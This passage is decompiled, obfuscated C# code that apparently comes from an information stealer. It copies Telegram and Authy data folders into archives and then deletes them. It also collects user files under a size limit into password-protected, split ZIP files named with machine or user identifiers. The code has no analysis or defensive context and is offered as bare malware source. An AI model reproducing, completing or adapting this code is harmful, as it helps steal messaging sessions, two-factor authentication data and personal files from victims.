class_.lmethod_778(Class_96.field_2, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Telegram");
}
if (Class_83.field_0 != null)
{
class_.lmethod_778(Class_83.field_0, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Authy");
}
class_.smethod_930(str_);
Class_47.DeleteDirectory(Class_96.field_2);
Class_47.DeleteDirectory(Class_83.field_0);
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Clear();
Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp.Clear();
GC.Collect();
Class_82.vmethod_245(str_, "s");
Class_82.cmethod_244();
Class_81.smethod_240();
}
// Token: 0x06000014 RID: 20 RVA: 0x000026D4 File Offset: 0x000008D4
public static void dmethod_6(List <string> arg_0, string str_0, string str_1, int sayıInt_0, string str_2, long sayıUınt_0, string str_3)
{
long num = 0L;
using (Class_168 class_ = new Class_168())
{
class_.prop_34 = -1L;
class_.prop_17 = Class_169.Always;
class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
class_.prop_23 = Class_170.Always;
class_.prop_22 = Encoding.GetEncoding(866);
class_.prop_9 = Class_202.BestCompression;
foreach (string text in arg_0)
{
if (num >= Class_5.field_13)
{
foreach (KeyValuePair <string, string> keyValuePair in Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw)
{
try
{
class_.pmethod_749(keyValuePair.Key, keyValuePair.Value);
}
catch
{
}
}
class_.smethod_930(string.Concat(new string[]
{
str_0,
"_",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
".zip"
}));
Class_5.field_7.Add(string.Concat(new string[]
{
str_0,
"_",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
".zip"
}));
sayıInt_0++;
str_0 = str_1 + str_2 + sayıInt_0.ToString();
Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.Clear();
num = 0L;
}
string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(text);
string text2 = Class_58.kmethod_157(text);
string text3 = Class_58.lmethod_158(Class_58.pmethod_159(text));
string str = string.Concat(new string[]
{
str_0,
"\\\\",
text3,
"\\\\",
fileNameWithoutExtension
});
long length = new FileInfo(text).Length;
if (Path.HasExtension(text) && length <= sayıUınt_0)
{
try
{
if (text2 != ".d")
{
if (Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.ContainsKey(text))
{
if (length != new FileInfo(str + text2).Length)
{
Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.Add(text, string.Concat(new string[]
{
str_3,
text2,
"\\",
text3,
Class_5.field_11.Next(0, 9999).ToString()
}));
Class_5.field_1++;
num += length;
}
}
else
{
Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.Add(text, str_3 + text2 + "\\" + text3);
Class_5.field_1++;
num += length;
}
}
}
catch
{
}
}
}
}
if (!Class_58.xmethod_161(string.Concat(new string[]
{
str_1,
str_2,
sayıInt_0.ToString(),
"_",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
".zip"
})))
{
str_0 = str_1 + str_2 + sayıInt_0.ToString();
using (Class_168 class_2 = new Class_168())
{
class_2.prop_34 = -1L;
class_2.prop_17 = Class_169.Always;
class_2.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
class_2.prop_23 = Class_170.Always;
class_2.prop_22 = Encoding.GetEncoding(866);
class_2.prop_9 = Class_202.BestCompression;
foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw)
{
try
{
class_2.pmethod_749(keyValuePair2.Key, keyValuePair2.Value);
}
catch
{
}
}
class_2.smethod_930(string.Concat(new string[]
{
str_0,
"_",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
".zip"
}));
}
Class_5.field_7.Add(string.Concat(new string[]
{
str_0,
"_",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
".zip"
}));
}
Class_53.\u0308\u0324\u0342\u034C\u0347\u0020\u0368\u033D\u0324\u0020\u0349\u0302\u0E47\u030A\u0310\u0364zyfqopfwsxxklpxs\u0020i\u033B\u030C\u0331\u0327\u0300\u0351\u0340\u0E47\u033C\u030C\u0363\u0339\u0E47\u0358ertxnwoibzchejzw.Clear();
GC.Collect();
}
